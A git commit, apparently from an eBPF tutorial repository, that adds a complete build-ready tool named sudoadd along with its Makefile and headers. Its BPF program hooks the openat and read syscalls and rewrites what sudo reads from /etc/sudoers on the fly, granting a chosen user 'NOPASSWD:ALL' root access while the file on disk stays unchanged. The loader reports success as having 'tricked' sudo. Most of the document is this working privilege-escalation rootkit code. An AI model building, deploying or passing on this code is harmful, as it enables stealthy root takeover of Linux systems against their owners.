add code for hide signal sudo and replace

This commit is contained in:
yunwei37
2023-05-31 00:18:31 +08:00
committed by 云微
parent e71352c29b
commit fe3dfa9aca
29 changed files with 2743 additions and 0 deletions

9
src/26-sudo/.gitignore vendored Normal file
View File

@@ -0,0 +1,9 @@
.vscode
package.json
*.o
*.skel.json
*.skel.yaml
package.yaml
ecli
bootstrap
textreplace2

29
src/26-sudo/LICENSE Normal file
View File

@@ -0,0 +1,29 @@
BSD 3-Clause License
Copyright (c) 2020, Andrii Nakryiko
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

141
src/26-sudo/Makefile Normal file
View File

@@ -0,0 +1,141 @@
# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
OUTPUT := .output
CLANG ?= clang
LIBBPF_SRC := $(abspath ../../libbpf/src)
BPFTOOL_SRC := $(abspath ../../bpftool/src)
LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a)
BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool)
BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool
LIBBLAZESYM_SRC := $(abspath ../../blazesym/)
LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a)
LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h)
ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \
| sed 's/arm.*/arm/' \
| sed 's/aarch64/arm64/' \
| sed 's/ppc64le/powerpc/' \
| sed 's/mips.*/mips/' \
| sed 's/riscv64/riscv/' \
| sed 's/loongarch64/loongarch/')
VMLINUX := ../../vmlinux/$(ARCH)/vmlinux.h
# Use our own libbpf API headers and Linux UAPI headers distributed with
# libbpf to avoid dependency on system-wide headers, which could be missing or
# outdated
INCLUDES := -I$(OUTPUT) -I../../libbpf/include/uapi -I$(dir $(VMLINUX))
CFLAGS := -g -Wall
ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS)
APPS = textreplace2 # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall
CARGO ?= $(shell which cargo)
ifeq ($(strip $(CARGO)),)
BZS_APPS :=
else
BZS_APPS := # profile
APPS += $(BZS_APPS)
# Required by libblazesym
ALL_LDFLAGS += -lrt -ldl -lpthread -lm
endif
# Get Clang's default includes on this system. We'll explicitly add these dirs
# to the includes list when compiling with `-target bpf` because otherwise some
# architecture-specific dirs will be "missing" on some architectures/distros -
# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h,
# sys/cdefs.h etc. might be missing.
#
# Use '-idirafter': Don't interfere with include mechanics except where the
# build would have failed anyways.
CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - </dev/null 2>&1 \
| sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }')
ifeq ($(V),1)
Q =
msg =
else
Q = @
msg = @printf ' %-8s %s%s\n' \
"$(1)" \
"$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \
"$(if $(3), $(3))";
MAKEFLAGS += --no-print-directory
endif
define allow-override
$(if $(or $(findstring environment,$(origin $(1))),\
$(findstring command line,$(origin $(1)))),,\
$(eval $(1) = $(2)))
endef
$(call allow-override,CC,$(CROSS_COMPILE)cc)
$(call allow-override,LD,$(CROSS_COMPILE)ld)
.PHONY: all
all: $(APPS)
.PHONY: clean
clean:
$(call msg,CLEAN)
$(Q)rm -rf $(OUTPUT) $(APPS)
$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT):
$(call msg,MKDIR,$@)
$(Q)mkdir -p $@
# Build libbpf
$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf
$(call msg,LIB,$@)
$(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \
OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \
INCLUDEDIR= LIBDIR= UAPIDIR= \
install
# Build bpftool
$(BPFTOOL): | $(BPFTOOL_OUTPUT)
$(call msg,BPFTOOL,$@)
$(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap
$(LIBBLAZESYM_SRC)/target/release/libblazesym.a::
$(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release
$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT)
$(call msg,LIB, $@)
$(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@
$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT)
$(call msg,LIB,$@)
$(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@
# Build BPF code
$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL)
$(call msg,BPF,$@)
$(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \
$(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \
-c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@)
$(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@)
# Generate BPF skeletons
$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL)
$(call msg,GEN-SKEL,$@)
$(Q)$(BPFTOOL) gen skeleton $< > $@
# Build user-space code
$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h
$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT)
$(call msg,CC,$@)
$(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@
$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER)
$(BZS_APPS): $(LIBBLAZESYM_OBJ)
# Build application binary
$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT)
$(call msg,BINARY,$@)
$(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@
# delete failed targets
.DELETE_ON_ERROR:
# keep intermediate (.skel.h, .bpf.o, etc) targets
.SECONDARY:

35
src/26-sudo/common.h Normal file
View File

@@ -0,0 +1,35 @@
// SPDX-License-Identifier: BSD-3-Clause
#ifndef BAD_BPF_COMMON_H
#define BAD_BPF_COMMON_H
// These are used by a number of
// different programs to sync eBPF Tail Call
// login between user space and kernel
#define PROG_00 0
#define PROG_01 1
#define PROG_02 2
// Used when replacing text
#define FILENAME_LEN_MAX 50
#define TEXT_LEN_MAX 20
// Simple message structure to get events from eBPF Programs
// in the kernel to user spcae
#define TASK_COMM_LEN 16
struct event {
int pid;
char comm[TASK_COMM_LEN];
bool success;
};
struct tr_file {
char filename[FILENAME_LEN_MAX];
unsigned int filename_len;
};
struct tr_text {
char text[TEXT_LEN_MAX];
unsigned int text_len;
};
#endif // BAD_BPF_COMMON_H

96
src/26-sudo/common_um.h Normal file
View File

@@ -0,0 +1,96 @@
// SPDX-License-Identifier: BSD-3-Clause
#ifndef BAD_BPF_COMMON_UM_H
#define BAD_BPF_COMMON_UM_H
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <unistd.h>
#include <signal.h>
#include <sys/resource.h>
#include <errno.h>
#include <fcntl.h>
static volatile sig_atomic_t exiting;
void sig_int(int signo)
{
exiting = 1;
}
static bool setup_sig_handler() {
// Add handlers for SIGINT and SIGTERM so we shutdown cleanly
__sighandler_t sighandler = signal(SIGINT, sig_int);
if (sighandler == SIG_ERR) {
fprintf(stderr, "can't set signal handler: %s\n", strerror(errno));
return false;
}
sighandler = signal(SIGTERM, sig_int);
if (sighandler == SIG_ERR) {
fprintf(stderr, "can't set signal handler: %s\n", strerror(errno));
return false;
}
return true;
}
static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)
{
return vfprintf(stderr, format, args);
}
static bool bump_memlock_rlimit(void)
{
struct rlimit rlim_new = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) {
fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit! (hint: run as root)\n");
return false;
}
return true;
}
static bool setup() {
// Set up libbpf errors and debug info callback
libbpf_set_print(libbpf_print_fn);
// Bump RLIMIT_MEMLOCK to allow BPF sub-system to do anything
if (!bump_memlock_rlimit()) {
return false;
};
// Setup signal handler so we exit cleanly
if (!setup_sig_handler()) {
return false;
}
return true;
}
#ifdef BAD_BPF_USE_TRACE_PIPE
static void read_trace_pipe(void) {
int trace_fd;
trace_fd = open("/sys/kernel/debug/tracing/trace_pipe", O_RDONLY, 0);
if (trace_fd == -1) {
printf("Error opening trace_pipe: %s\n", strerror(errno));
return;
}
while (!exiting) {
static char buf[4096];
ssize_t sz;
sz = read(trace_fd, buf, sizeof(buf) -1);
if (sz > 0) {
buf[sz] = '\x00';
puts(buf);
}
}
}
#endif // BAD_BPF_USE_TRACE_PIPE
#endif // BAD_BPF_COMMON_UM_H

217
src/26-sudo/sudoadd.bpf.c Normal file
View File

@@ -0,0 +1,217 @@
// SPDX-License-Identifier: BSD-3-Clause
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "common.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
// Ringbuffer Map to pass messages from kernel to user
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(".maps");
// Map to hold the File Descriptors from 'openat' calls
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, unsigned int);
} map_fds SEC(".maps");
// Map to fold the buffer sized from 'read' calls
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, long unsigned int);
} map_buff_addrs SEC(".maps");
// Optional Target Parent PID
const volatile int target_ppid = 0;
// The UserID of the user, if we're restricting
// running to just this user
const volatile int uid = 0;
// These store the string we're going to
// add to /etc/sudoers when viewed by sudo
// Which makes it think our user can sudo
// without a password
const int max_payload_len = 100;
const volatile int payload_len = 0;
const volatile char payload[max_payload_len];
SEC("tp/syscalls/sys_enter_openat")
int handle_openat_enter(struct trace_event_raw_sys_enter *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
// Check if we're a process thread of interest
// if target_ppid is 0 then we target all pids
if (target_ppid != 0) {
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
int ppid = BPF_CORE_READ(task, real_parent, tgid);
if (ppid != target_ppid) {
return 0;
}
}
// Check comm is sudo
char comm[TASK_COMM_LEN];
bpf_get_current_comm(comm, sizeof(comm));
const int sudo_len = 5;
const char *sudo = "sudo";
for (int i = 0; i < sudo_len; i++) {
if (comm[i] != sudo[i]) {
return 0;
}
}
// Now check we're opening sudoers
const int sudoers_len = 13;
const char *sudoers = "/etc/sudoers";
char filename[sudoers_len];
bpf_probe_read_user(&filename, sudoers_len, (char*)ctx->args[1]);
for (int i = 0; i < sudoers_len; i++) {
if (filename[i] != sudoers[i]) {
return 0;
}
}
bpf_printk("Comm %s\n", comm);
bpf_printk("Filename %s\n", filename);
// If filtering by UID check that
if (uid != 0) {
int current_uid = bpf_get_current_uid_gid() >> 32;
if (uid != current_uid) {
return 0;
}
}
// Add pid_tgid to map for our sys_exit call
unsigned int zero = 0;
bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY);
return 0;
}
SEC("tp/syscalls/sys_exit_openat")
int handle_openat_exit(struct trace_event_raw_sys_exit *ctx)
{
// Check this open call is opening our target file
size_t pid_tgid = bpf_get_current_pid_tgid();
unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (check == 0) {
return 0;
}
int pid = pid_tgid >> 32;
// Set the map value to be the returned file descriptor
unsigned int fd = (unsigned int)ctx->ret;
bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY);
return 0;
}
SEC("tp/syscalls/sys_enter_read")
int handle_read_enter(struct trace_event_raw_sys_enter *ctx)
{
// Check this open call is opening our target file
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (pfd == 0) {
return 0;
}
// Check this is the sudoers file descriptor
unsigned int map_fd = *pfd;
unsigned int fd = (unsigned int)ctx->args[0];
if (map_fd != fd) {
return 0;
}
// Store buffer address from arguments in map
long unsigned int buff_addr = ctx->args[1];
bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY);
// log and exit
size_t buff_size = (size_t)ctx->args[2];
return 0;
}
SEC("tp/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
// Check this open call is reading our target file
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
long unsigned int buff_addr = *pbuff_addr;
if (buff_addr <= 0) {
return 0;
}
// This is amount of data returned from the read syscall
if (ctx->ret <= 0) {
return 0;
}
long int read_size = ctx->ret;
// Add our payload to the first line
if (read_size < payload_len) {
return 0;
}
// Overwrite first chunk of data
// then add '#'s to comment out rest of data in the chunk.
// This sorta corrupts the sudoers file, but everything still
// works as expected
char local_buff[max_payload_len] = { 0x00 };
bpf_probe_read(&local_buff, max_payload_len, (void*)buff_addr);
for (unsigned int i = 0; i < max_payload_len; i++) {
if (i >= payload_len) {
local_buff[i] = '#';
}
else {
local_buff[i] = payload[i];
}
}
// Write data back to buffer
long ret = bpf_probe_write_user((void*)buff_addr, local_buff, max_payload_len);
// Send event
struct event *e;
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (e) {
e->success = (ret == 0);
e->pid = pid;
bpf_get_current_comm(&e->comm, sizeof(e->comm));
bpf_ringbuf_submit(e, 0);
}
return 0;
}
SEC("tp/syscalls/sys_exit_close")
int handle_close_exit(struct trace_event_raw_sys_exit *ctx)
{
// Check if we're a process thread of interest
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (check == 0) {
return 0;
}
// Closing file, delete fd from all maps to clean up
bpf_map_delete_elem(&map_fds, &pid_tgid);
bpf_map_delete_elem(&map_buff_addrs, &pid_tgid);
return 0;
}

175
src/26-sudo/sudoadd.c Normal file
View File

@@ -0,0 +1,175 @@
// SPDX-License-Identifier: BSD-3-Clause
#include <argp.h>
#include <unistd.h>
#include "sudoadd.skel.h"
#include "common_um.h"
#include "common.h"
#include <pwd.h>
#define INVALID_UID -1
// https://stackoverflow.com/questions/3836365/how-can-i-get-the-user-id-associated-with-a-login-on-linux
uid_t lookup_user(const char *name)
{
if(name) {
struct passwd *pwd = getpwnam(name); /* don't free, see getpwnam() for details */
if(pwd) return pwd->pw_uid;
}
return INVALID_UID;
}
// Setup Argument stuff
#define max_username_len 20
static struct env {
char username[max_username_len];
bool restrict_user;
int target_ppid;
} env;
const char *argp_program_version = "sudoadd 1.0";
const char *argp_program_bug_address = "<path@tofile.dev>";
const char argp_program_doc[] =
"SUDO Add\n"
"\n"
"Enable a user to elevate to root\n"
"by lying to 'sudo' about the contents of /etc/sudoers file\n"
"\n"
"USAGE: ./sudoadd -u username [-t 1111] [-r uid]\n";
static const struct argp_option opts[] = {
{ "username", 'u', "USERNAME", 0, "Username of user to " },
{ "restrict", 'r', NULL, 0, "Restict to only run when sudo is executed by the matching user" },
{ "target-ppid", 't', "PPID", 0, "Optional Parent PID, will only affect its children." },
{},
};
static error_t parse_arg(int key, char *arg, struct argp_state *state)
{
switch (key) {
case 'u':
if (strlen(arg) >= max_username_len) {
fprintf(stderr, "Username must be less than %d characters\n", max_username_len);
argp_usage(state);
}
strncpy(env.username, arg, sizeof(env.username));
break;
case 'r':
env.restrict_user = true;
break;
case 't':
errno = 0;
env.target_ppid = strtol(arg, NULL, 10);
if (errno || env.target_ppid <= 0) {
fprintf(stderr, "Invalid pid: %s\n", arg);
argp_usage(state);
}
break;
case 'h':
case ARGP_KEY_ARG:
argp_usage(state);
break;
default:
return ARGP_ERR_UNKNOWN;
}
return 0;
}
static const struct argp argp = {
.options = opts,
.parser = parse_arg,
.doc = argp_program_doc,
};
static int handle_event(void *ctx, void *data, size_t data_sz)
{
const struct event *e = data;
if (e->success)
printf("Tricked Sudo PID %d to allow user to become root\n", e->pid);
else
printf("Failed to trick Sudo PID %d to allow user to become root\n", e->pid);
return 0;
}
int main(int argc, char **argv)
{
struct ring_buffer *rb = NULL;
struct sudoadd_bpf *skel;
int err;
// Parse command line arguments
err = argp_parse(&argp, argc, argv, 0, NULL, NULL);
if (err) {
return err;
}
if (env.username[0] == '\x00') {
printf("Username Requried, see %s --help\n", argv[0]);
exit(1);
}
// Do common setup
if (!setup()) {
exit(1);
}
// Open BPF application
skel = sudoadd_bpf__open();
if (!skel) {
fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno));
return 1;
}
// Let bpf program know our pid so we don't get kiled by it
skel->rodata->target_ppid = env.target_ppid;
// Copy in username
sprintf(skel->rodata->payload, "%s ALL=(ALL:ALL) NOPASSWD:ALL #", env.username);
skel->rodata->payload_len = strlen(skel->rodata->payload);
// If restricting by UID, look it up and set it
// as this can't really be done by eBPF program
if (env.restrict_user) {
int uid = lookup_user(env.username);
if (uid == INVALID_UID) {
printf("Couldn't get UID for user %s\n", env.username);
goto cleanup;
}
skel->rodata->uid = uid;
}
// Verify and load program
err = sudoadd_bpf__load(skel);
if (err) {
fprintf(stderr, "Failed to load and verify BPF skeleton\n");
goto cleanup;
}
// Attach tracepoint handler
err = sudoadd_bpf__attach( skel);
if (err) {
fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno));
goto cleanup;
}
// Set up ring buffer
rb = ring_buffer__new(bpf_map__fd( skel->maps.rb), handle_event, NULL, NULL);
if (!rb) {
err = -1;
fprintf(stderr, "Failed to create ring buffer\n");
goto cleanup;
}
printf("Successfully started!\n");
while (!exiting) {
err = ring_buffer__poll(rb, 100 /* timeout, ms */);
/* Ctrl-C will cause -EINTR */
if (err == -EINTR) {
err = 0;
break;
}
if (err < 0) {
printf("Error polling perf buffer: %d\n", err);
break;
}
}
cleanup:
sudoadd_bpf__destroy( skel);
return -err;
}